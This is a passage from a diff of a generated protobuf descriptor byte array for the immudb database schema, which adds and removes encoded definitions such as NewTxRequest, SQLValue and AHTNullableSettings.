0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, - 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, - 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, - 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, - 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, - 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, - 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, - 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, - 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, - 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, - 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, - 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, - 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, - 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, - 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, - 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, - 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, - 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, - 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, - 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, - 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, - 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, - 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, - 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, - 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, - 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x08, - 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, - 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, 0x07, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, - 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, - 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, - 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, + 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, + 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, + 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x6d, 0x61, 0x78, + 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x12, + 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, + 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x12, 0x72, 0x65, 0x6e, 0x65, + 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x12, 0x45, + 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, + 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, + 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, + 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, - 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, - 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, - 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, + 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, + 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x55, 0x0a, 0x16, 0x6e, 0x6f, + 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, + 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, + 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, + 0x73, 0x12, 0x59, 0x0a, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, + 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0a, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x33, 0x32, 0x52, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, + 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, + 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, + 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, + 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, + 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x66, + 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4a, + 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, + 0x61, 0x67, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, + 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, + 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, + 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x5b, 0x0a, 0x16, 0x62, + 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, + 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, - 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, - 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, - 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, - 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, - 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, - 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, - 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, - 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, - 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, - 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, - 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, 0x22, 0x84, 0x01, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, - 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x4d, - 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, - 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x52, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x22, 0xa3, 0x01, 0x0a, 0x13, 0x41, 0x48, 0x54, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, + 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, + 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, - 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, - 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, + 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, + 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, + 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x31, + 0x0a, 0x13, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x22, 0x32, 0x0a, 0x14, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 